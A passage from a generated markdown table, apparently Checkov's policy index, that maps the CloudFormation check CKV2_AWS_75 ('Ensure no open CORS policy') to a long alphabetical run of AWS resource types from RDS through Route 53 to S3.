| CKV2_AWS_75 | resource | aws_rds_cluster_snapshot_copy                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1236 | CKV2_AWS_75 | resource | aws_rds_custom_db_engine_version                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1237 | CKV2_AWS_75 | resource | aws_rds_export_task                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1238 | CKV2_AWS_75 | resource | aws_rds_global_cluster                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1239 | CKV2_AWS_75 | resource | aws_rds_instance_state                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1240 | CKV2_AWS_75 | resource | aws_rds_integration                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1241 | CKV2_AWS_75 | resource | aws_rds_reserved_instance                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1242 | CKV2_AWS_75 | resource | aws_redshift_authentication_profile                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1243 | CKV2_AWS_75 | resource | aws_redshift_cluster                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1244 | CKV2_AWS_75 | resource | aws_redshift_cluster_iam_roles                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1245 | CKV2_AWS_75 | resource | aws_redshift_cluster_snapshot                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1246 | CKV2_AWS_75 | resource | aws_redshift_data_share_authorization                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1247 | CKV2_AWS_75 | resource | aws_redshift_data_share_consumer_association                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1248 | CKV2_AWS_75 | resource | aws_redshift_endpoint_access                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1249 | CKV2_AWS_75 | resource | aws_redshift_endpoint_authorization                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1250 | CKV2_AWS_75 | resource | aws_redshift_event_subscription                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1251 | CKV2_AWS_75 | resource | aws_redshift_hsm_client_certificate                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1252 | CKV2_AWS_75 | resource | aws_redshift_hsm_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1253 | CKV2_AWS_75 | resource | aws_redshift_logging                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1254 | CKV2_AWS_75 | resource | aws_redshift_parameter_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1255 | CKV2_AWS_75 | resource | aws_redshift_partner                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1256 | CKV2_AWS_75 | resource | aws_redshift_resource_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1257 | CKV2_AWS_75 | resource | aws_redshift_scheduled_action                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1258 | CKV2_AWS_75 | resource | aws_redshift_security_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1259 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1260 | CKV2_AWS_75 | resource | aws_redshift_snapshot_copy_grant                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1261 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1262 | CKV2_AWS_75 | resource | aws_redshift_snapshot_schedule_association                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1263 | CKV2_AWS_75 | resource | aws_redshift_subnet_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1264 | CKV2_AWS_75 | resource | aws_redshift_usage_limit                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1265 | CKV2_AWS_75 | resource | aws_redshiftdata_statement                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1266 | CKV2_AWS_75 | resource | aws_redshiftserverless_custom_domain_association                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1267 | CKV2_AWS_75 | resource | aws_redshiftserverless_endpoint_access                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1268 | CKV2_AWS_75 | resource | aws_redshiftserverless_namespace                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1269 | CKV2_AWS_75 | resource | aws_redshiftserverless_resource_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1270 | CKV2_AWS_75 | resource | aws_redshiftserverless_snapshot                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1271 | CKV2_AWS_75 | resource | aws_redshiftserverless_usage_limit                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1272 | CKV2_AWS_75 | resource | aws_redshiftserverless_workgroup                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1273 | CKV2_AWS_75 | resource | aws_region_info                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1274 | CKV2_AWS_75 | resource | aws_rekognition_collection                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1275 | CKV2_AWS_75 | resource | aws_rekognition_project                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1276 | CKV2_AWS_75 | resource | aws_rekognition_stream_processor                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1277 | CKV2_AWS_75 | resource | aws_resiliencehub_resiliency_policy                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1278 | CKV2_AWS_75 | resource | aws_resourceexplorer2_index                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1279 | CKV2_AWS_75 | resource | aws_resourceexplorer2_view                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1280 | CKV2_AWS_75 | resource | aws_resourcegroups_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1281 | CKV2_AWS_75 | resource | aws_resourcegroups_resource                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1282 | CKV2_AWS_75 | resource | aws_rolesanywhere_profile                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1283 | CKV2_AWS_75 | resource | aws_rolesanywhere_trust_anchor                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1284 | CKV2_AWS_75 | resource | aws_root                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1285 | CKV2_AWS_75 | resource | aws_root_access_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1286 | CKV2_AWS_75 | resource | aws_route                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1287 | CKV2_AWS_75 | resource | aws_route53_cidr_collection                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1288 | CKV2_AWS_75 | resource | aws_route53_cidr_location                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1289 | CKV2_AWS_75 | resource | aws_route53_delegation_set                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1290 | CKV2_AWS_75 | resource | aws_route53_health_check                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1291 | CKV2_AWS_75 | resource | aws_route53_hosted_zone_dnssec                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1292 | CKV2_AWS_75 | resource | aws_route53_key_signing_key                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1293 | CKV2_AWS_75 | resource | aws_route53_query_log                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1294 | CKV2_AWS_75 | resource | aws_route53_record                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1295 | CKV2_AWS_75 | resource | aws_route53_resolver_config                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1296 | CKV2_AWS_75 | resource | aws_route53_resolver_dnssec_config                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1297 | CKV2_AWS_75 | resource | aws_route53_resolver_endpoint                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1298 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_config                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1299 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_domain_list                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1300 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1301 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1302 | CKV2_AWS_75 | resource | aws_route53_resolver_firewall_rule_group_association             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1303 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1304 | CKV2_AWS_75 | resource | aws_route53_resolver_query_log_config_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1305 | CKV2_AWS_75 | resource | aws_route53_resolver_rule                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1306 | CKV2_AWS_75 | resource | aws_route53_resolver_rule_association                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1307 | CKV2_AWS_75 | resource | aws_route53_traffic_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1308 | CKV2_AWS_75 | resource | aws_route53_traffic_policy_instance                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1309 | CKV2_AWS_75 | resource | aws_route53_vpc_association_authorization                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1310 | CKV2_AWS_75 | resource | aws_route53_zone                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1311 | CKV2_AWS_75 | resource | aws_route53_zone_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1312 | CKV2_AWS_75 | resource | aws_route53domains_delegation_signer_record                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1313 | CKV2_AWS_75 | resource | aws_route53domains_domain                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1314 | CKV2_AWS_75 | resource | aws_route53domains_registered_domain                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1315 | CKV2_AWS_75 | resource | aws_route53profiles_association                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1316 | CKV2_AWS_75 | resource | aws_route53profiles_profile                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1317 | CKV2_AWS_75 | resource | aws_route53profiles_resource_association                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1318 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_cluster                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1319 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_control_panel                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1320 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_routing_control                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1321 | CKV2_AWS_75 | resource | aws_route53recoverycontrolconfig_safety_rule                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1322 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_cell                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1323 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_readiness_check                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1324 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_recovery_group                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1325 | CKV2_AWS_75 | resource | aws_route53recoveryreadiness_resource_set                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1326 | CKV2_AWS_75 | resource | aws_route_table                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1327 | CKV2_AWS_75 | resource | aws_route_table_association                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1328 | CKV2_AWS_75 | resource | aws_rum_app_monitor                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1329 | CKV2_AWS_75 | resource | aws_rum_metrics_destination                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n| 1330 | CKV2_AWS_75 | resource | aws_s3_access_point                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | 